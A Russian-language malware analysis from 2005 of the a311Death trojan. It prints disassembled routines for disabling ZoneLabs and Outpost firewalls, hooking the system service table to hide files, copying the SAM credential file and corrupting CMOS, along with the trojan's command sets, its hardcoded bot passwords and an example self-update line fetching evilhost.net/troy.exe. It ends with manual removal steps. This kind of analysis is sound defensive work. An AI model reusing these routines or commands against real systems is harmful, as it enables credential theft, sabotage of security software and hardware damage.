a311Death inside
-------------------
Попалась мне как-то на просторах интернета зверушка - небольшой такой троянчик, неизвестной системы.После распаковки
и анализа того что получилось - оказалось что это a311Death. Поискав информацию о данном трое, нашел только рекламу и
жалобы, что в халявной версии ваши пароли уходят налево :)
Посмотрев поближе на предмет исследования, стало понятно, что да, это вам не пинч. Во-первых, зверушка ставит в
систему драйвера для сокрытия в системе основных своих файлов и всяческих действий (некоторые из них мы рассмотрим).Но
в памяти себя не скрывает, да и драйвера тоже видны невооруженным взглядом. А главная часть трояна - обыкновенная dll,
стандартно инжектируемая к експлореру.
При инсталляции и в процессе работы создаются следующие файлы:
avpx32.sys - создание записей в реестре, инсталляция в систему драйверов
qy.sys - backup avpx32.sys
avpx64.sys - основной драйвер
qz.sys - backup apx64.sys
avpx32.dll - сам троян
qz.dll - backup avpx32.dll
p3.ini - файл с настройками (адрес сервера обновлений, e-mail и т.д.)
redir.a3d - оставшиеся файлы - другие настройки
fltr.a3d
i.a3d
tnfl.a3d
klogini.dll
При старте avpx64.sys первым делом блокируется файервол от ZoneLabs:
Блокировка ZoneLabs
;---------------------------------------------------------------------------------------------------------------------
_lock_zonelabs proc near
Key = dword ptr -3Eh
....
....
lea ebx, _offs_zonelabs
mov eax, dword ptr a_ ; "."
mov esi, [ebx]
lea edi, a??CWindowsSyst[eax] ; "\\??\\C:\\WINDOWS\\system32"
mov ecx, 2Ah
rep movsb
mov eax, offset a??CWindowsSyst ; "\\??\\C:\\WINDOWS\\system32"
loc_105FA:
push eax ; SourceString
push offset DestinationString ; DestinationString
call RtlInitUnicodeString
lea ecx, DestinationString
xor edx, edx
call _set_objattr
push 0 ; EaLength
push 0 ; EaBuffer
push FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
push FILE_OPEN ; CreateDisposition
push FILE_ANY_ACCESS ; ShareAccess
push FILE_ATTRIBUTE_NORMAL ; FileAttributes
push 0 ; AllocationSize
push offset IoStatusBlock ; IoStatusBlock
push offset ObjectAttributes ; ObjectAttributes
push FILE_READ_DATA ; DesiredAccess
push offset FileHandle ; FileHandle
call ZwCreateFile
or eax, eax
jnz short _exit_zonelabs
push 5 ; FileInformationClass
push 20 ; FileInformationLength
push offset FileInformation ; FileInformation
push offset IoStatusBlock ; IoStatusBlock
push FileHandle ; FileHandle
call ZwQueryInformationFile
push FileInformation
pop LockLength.LowPart
mov eax, [espH)]
push 2 ; ExclusiveLock
push 0 ; FailImmediately
push eax ; Key
push offset LockLength ; LockLength
push offset LockLength.HighPart ; LockOffset
push offset IoStatusBlock ; IoStatusBlock
push 0 ; ApcContext
push 0 ; ApcRoutine
push 0 ; Event
push FileHandle ; FileHandle
call NtLockFile
add ebx, 4
mov eax, ebx
dec byte_116FC
jnz loc_105FA
_exit_zonelabs:
pop large dword ptr fs:0
add esp, 4
retn
_offs_zonelabs dd offset aZonelabsVsmon_ ; "\\ZoneLabs\\vsmon.exe"
dd offset _slash_str ; "\\"
;---------------------------------------------------------------------------------------------------------------------
Потом перехватывается KeServiceDescriptorTable для сокрытия своих файлов в системе:
mov eax, offset KeServiceDescriptorTable
mov eax, [eax]
mov eax, [eax]
mov ecx, offset _KeServiceDescTable_new
cmp _KeServiceDescTable_old, 0
jnz short loc_10F17
xchg ecx, [eaxЬ*4]
mov _KeServiceDescTable_old, ecx
И прячет файлы согласно вышеприведенному списку. avpx64.sys может читать и файл SAM, предварительно его скопировав.
Работа с файлом SAM (точнее его копирование)
;---------------------------------------------------------------------------------------------------------------------
_check_0B50:
cmp eax, 0B50h
jnz _check_100D
mov eax, dword ptr a_ ; "."
mov esi, offset aConfigSam ; "\\config\\SAM"
lea edi, a??CWindowsSyst[eax] ; "\\??\\С:\\WINDOWS\\system32"
mov ecx, 24
rep movsb
push offset a??CWindowsSyst ; SourceString
push offset DestinationString ; DestinationString
call RtlInitUnicodeString
or eax, eax
jnz _complete_req
lea ecx, DestinationString
xor edx, edx
call _set_objattr
push 0 ; EaLength
push 0 ; EaBuffer
push FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
push FILE_OPEN ; CreateDisposition
push 0 ; ShareAccess
push FILE_ATTRIBUTE_NORMAL ; FileAttributes
push 0 ; AllocationSize
push offset IoStatusBlock ; IoStatusBlock
push offset ObjectAttributes ; ObjectAttributes
push FILE_ANY_ACCESS ; DesiredAccess
push offset FileHandle ; FileHandle
call ZwCreateFile ;Открываем SAM
lea ecx, IoStatusBlock
or eax, eax
jz short _find_SAM
cmp [ecx+_IO_STATUS_BLOCK.Status], 0
jnz _exit_0B50
_find_SAM: ;в полученной выше строке ищем SAM
push esi
mov esi, offset a??CWindowsSyst ; "\\??\\С:\\WINDOWS\\system32"
_next_char:
lodsb
_compare: ;и меняем SAM на SSL
cmp al, 'S'
jnz short _next_char
cmp dword ptr [esi], 4D004100h ; MA
jnz short _next_char
mov dword ptr [esi], 4C005300h ; LS
pop esi
push offset ObjectAttributes ; ObjectAttributes
call ZwDeleteFile ; del SSL file
push 0 ; EaLength
push 0 ; EaBuffer
push FILE_WRITE_THROUGH or FILE_SYNCHRONOUS_IO_NONALERT ; CreateOptions
push FILE_CREATE ; CreateDisposition
push FILE_SHARE_WRITE ; ShareAccess
push FILE_ATTRIBUTE_NORMAL ; FileAttributes
push 0 ; AllocationSize
push offset IoStatusBlock ; IoStatusBlock
push offset ObjectAttributes ; ObjectAttributes
push 6 ; DesiredAccess
push offset _fileHandle2 ; FileHandle
call ZwCreateFile ;создаем SSL
_copy_loop: ;и копируем содержимое SAM в SSL
push 0 ; Key
push 0 ; ByteOffset
push 1000h ; Length
push offset _buffer ; Buffer
push offset IoStatusBlock ; IoStatusBlock
push 0 ; ApcContext
push 0 ; ApcRoutine
push 0 ; Event
push FileHandle ; FileHandle
call ZwReadFile
lea ecx, IoStatusBlock
mov ecx, [ecx+_IO_STATUS_BLOCK.Information]
cmp ecx, 0
jbe short _close_files
push 0 ; Key
push 0 ; ByteOffset
push ecx ; Length
push offset _buffer ; Buffer
push offset IoStatusBlock ; IoStatusBlock
push 0 ; ApcContext
push 0 ; ApcRoutine
push 0 ; Event
push _fileHandle2 ; FileHandle
call ZwWriteFile
jmp short _copy_loop
_close_files:
push FileHandle ; Handle
call ZwClose
push _fileHandle2 ; Handle
call ZwClose
_exit_0B50:
jmp short _complete_req
.....
.....
_complete_req:
mov edx, 0
mov ecx, [ebpё_4]
call IofCompleteRequest
xor eax, eax
pop ebx
pop edi
pop esi
leave
retn 8
;---------------------------------------------------------------------------------------------------------------------
Основной модуль трояна - avpx32.dll, в нем и irc-bot и кейлогер, и формграббер и граббер паролей (как пинч :) ) и
прочее. При старте основной модуль перехватывает некоторые api для скрытия своих файлов и соединений, инжектирует себя
в процессы iexplore.exe, opera.exe, myie.exe, mozilla.exe, thebat.exe, outlook.exe, msn.exe и icq.exe. Закрывает
файерволы zapro.exe, vsmon.exe, jamapp.exe, atrack.exe, iamapp.exe, FwAct.exe, mpfagent.exe, outpost.exe, zlclient.exe
и mpftray.exe. Если avpx64.sys не запущен, то закрывает их через TerminateProcess, иначе доверяет это драйверу.
Закрытие процесса из драйвера:
;---------------------------------------------------------------------------------------------------------------------
_check_950:
cmp eax, 950h
jnz short _check_0A50
mov eax, [edi(]
mov ecx, [eax]
mov ClientId.UniqueProcess, ecx
lea eax, _objattr_stru
mov [eax _ATTRIBUTES.Length], 18h
push offset ClientId ; ClientId
push offset _objattr_stru ; ObjectAttributes
push 1 ; DesiredAccess
push offset ProcessHandle ; ProcessHandle
call ZwOpenProcess
push 0 ; ExitStatus
push ProcessHandle ; ProcessHandle
call ZwTerminateProcess
;---------------------------------------------------------------------------------------------------------------------
Если avpx64.sys опять не обнаружился - патчится engine.dll из Agnitum OutPost.
Патчим Outpost (чтобы не ругался наверное :) )
;---------------------------------------------------------------------------------------------------------------------
_agnitum_ proc near
....
....
_patch_agnitum:
push offset _hkey_handle ; phkResult
push 0F003Fh ; samDesired
push 0 ; ulOptions
push offset aSoftwareAgnitu ; lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyExA
mov ds:nSize, 300
push offset nSize ; lpcbData
push offset _str_file_name ; lpData
push offset Type ; lpType
push 0 ; lpReserved
push offset aEngine_dll ; lpValueName
push ds:_hkey_handle ; hKey
call RegQueryValueExA
or eax, eax
jnz _agnitum_next
push ds:_hkey_handle ; hKey
call RegCloseKey
push 400 ; dwMilliseconds
call Sleep
push 0 ; hTemplateFile
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0 ; lpSecurityAttributes
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push offset _str_file_name ; lpFileName
call CreateFileA
mov ds:_file_handle, eax
push 0 ; lpName
push 0 ; dwMaximumSizeLow
push 0 ; dwMaximumSizeHigh
push PAGE_READWRITE ; flProtect
push 0 ; lpFileMappingAttributes
push ds:_file_handle ; hFile
call CreateFileMappingA
mov ds:_mapping_handle, eax
push 0 ; dwNumberOfBytesToMap
push 0 ; dwFileOffsetLow
push 0 ; dwFileOffsetHigh
push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
push eax ; mapping handle
call MapViewOfFile
or eax, eax
jz short _agnitum_next
mov ds:_mapped_addr, eax
push edi
mov edi, eax
mov eax, [edi+3Ch]
mov ecx, [eax+edi+28h]
mov edx, [eax+edi+54h]
mov dword ptr [ecx+edi], 0C340C033h ;что-то патчим :)
pop edi
push ds:_mapped_addr ; lpBaseAddress
call UnmapViewOfFile
push ds:_mapping_handle ; hObject
call CloseHandle
push 0 ; lpFileSizeHigh
push ds:_file_handle ; hFile
call GetFileSize
push 0 ; nNumberOfBytesToLockHigh
push eax ; nNumberOfBytesToLockLow
push 0 ; dwFileOffsetHigh
push 0 ; dwFileOffsetLow
push ds:_file_handle ; hFile
call LockFile
_agnitum_next:
push offset _hkey_handle ; phkResult
push KEY_ALL_ACCESS ; samDesired
push 0 ; ulOptions
push offset aSoftwareAgni_0 ; lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyExA
push 0 ; lpName
push 0 ; bInitialState
push 1 ; bManualReset
push 0 ; lpEventAttributes
call CreateEventA
mov ds:_event_handle, eax
push TRUE ; fAsynchronus
push ds:_event_handle ; hEvent
push REG_LEGAL_CHANGE_FILTER ; dwNotifyFilter
push TRUE ; bWatchSubtree
push ds:_hkey_handle ; hKey
call RegNotifyChangeKeyValue
or eax, eax
jnz short _agnitum_exit
dec eax
push eax ; dwMilliseconds
push ds:_event_handle ; hHandle
call WaitForSingleObject
push ds:_event_handle ; hObject
call CloseHandle
push ds:_hkey_handle ; hKey
call RegCloseKey
jmp _patch_agnitum
_agnitum_exit:
pop large dword ptr fs:0
add esp, 4
push 0 ; dwExitCode
call ExitThread
_agnitum_ endp
;---------------------------------------------------------------------------------------------------------------------
При наличии соединения с интернет, троян первым делом лезет на прописанный в конфиге сайт за командным файлом
trf.dat, который через текстовые команды управляет поведением трояна.
Команды trf.dat
;---------------------------------------------------------------------------------------------------------------------
HP - установить домашнюю страницу
N! - самообновиться с адреса
NR - скачать файл
NW - скачать файл
NI - скачать i.a3d
NF - скачать настройки для e-money (fltr.a3d)
BP -
BC - соединиться с заданным ip:port (клиент трояна)
KD - выключить кейлогер
NS - сохранить адрес сайта
KE - включить кейлогер
UE -
UU -
DI - DoS
DS - DoS (другой вариант)
SP - установить страницу поиска
RD - скачать и запустить файл
OH - запустить файл скрыто
ON - запустить файл обычно
ED - завершить сеанс работы с trf.dat
;---------------------------------------------------------------------------------------------------------------------
Например, trf.dat может выглядеть так:
;---------------------------------------------------------------------------------------------------------------------
UU0
UE
N!evilhost.net/troy.exe
NSevilhost.net
ED
;---------------------------------------------------------------------------------------------------------------------
Ну и конечно в трояне есть функционал irc-бота (вот это место нас заинтересовало, т.к. настройки irc-сервера не
берутся из конфигов, а жестко прошиты в трояне). Бот соединяется с сетью localirc.net, заходит на канал #corpse
(опять-таки авторское) и ждет ботовода :) Правда управлять ботом может только авторизировавшийся.
Команды irc-бота
;---------------------------------------------------------------------------------------------------------------------
.aut - аутентифицироваться
.rbt - ребут
.usr - показать username
.fnd - искать файл по маске или по имени (.fnd c: boot.*)
.dir - dir :) (.dir c: *.*)
.eml - отослать файл на е-мейл
.drv - показать доступные диски
.dds - DoS :)
.sks - показывает на каких портах socks и http прокси
.bck - сеанс работы с клиентом этого трояна (больше всяких команд)
.dld - скачать файл
.upd - проапдейтиться
.run - запустить файл
.die - остановить бота
.chm - сохранить параметры
.chs - сохранить адрес сайта
.pss - устанавливает новый пароль на бота
.ftr - показать наличие в системе webmoney, paypal, e-gold, ebay
.opn - open url
;---------------------------------------------------------------------------------------------------------------------
Авторизация проходит через прописанные в трояне пароли. т.е. так:
.aut saЖanic или .aut 666
После чего бот говорит, что он UNDER CONTROL.
Но весь функционал трояна раскрывается только при использовании клиента. Для этого либо в irc написать .bck
ip-машины-с-клиентом порт, либо в файле trf.dat на сервере написать BCip-машины-с-клиентом порт. Тогда становятся
доступны многие другие функции,в том числе и деструктивные (например, порча CMOS и затирание BIOS).А так - стандартный
набор для бэкдоров, игры с CD-Rom, прятанье процессов, убийство процессов, изменение приоритета процесса, вывод
сообщения, работа с реестром,приколы с клавиатурой и экраном и т.д. и т.п. Протокол работы очень странный :) создается
впечатление, что это компиляция из разных источников,т.к. половина команд имеют вполне понятный синтаксис (Find, Kill,
Hide и т.д.), другие имеют сокращенный синтаксис (-m, -f, fo, cy и т.д.), ну а третьи вообще не ascii (07060607h,
0A0D0707h, 0A0D1515h и т.д.).
Затирание cmos
;---------------------------------------------------------------------------------------------------------------------
_check_cmos:
cmp eax, 'somc' ; cmos
jnz short _check_gatr
cmp ds:_driver_flag, 1 ; если avpx64.sys работает, то пусть он это и делает
jz short _driver_cmos
mov al, 2Fh
out 70h, al ; CMOS Memory:
; storage for checksum of CMOS addresses 10H through 20H
mov al, 99h
out 71h, al ; CMOS Memory:
;
mov ax, 1010h
mov dx, 70h
out dx, ax ; CMOS Memory:
;
jmp _parse_end
_driver_cmos:
mov eax, 1021h
call _call_driver
jmp _parse_end
;---------------------------------------------------------------------------------------------------------------------
Обнаружить и удалить троян можно вручную. Обнаруживается путем просмотра пункта в диспетчере устройств - "Драйверы
устройств не Plug'n'Play" и оттуда же и удаляется.
Вот собственно и весть троян :) Еще бы чуть-чуть и автор смог бы сделать rootkit, который будет уже не так просто
обнаружить и удалить.
(x) dMNt 2005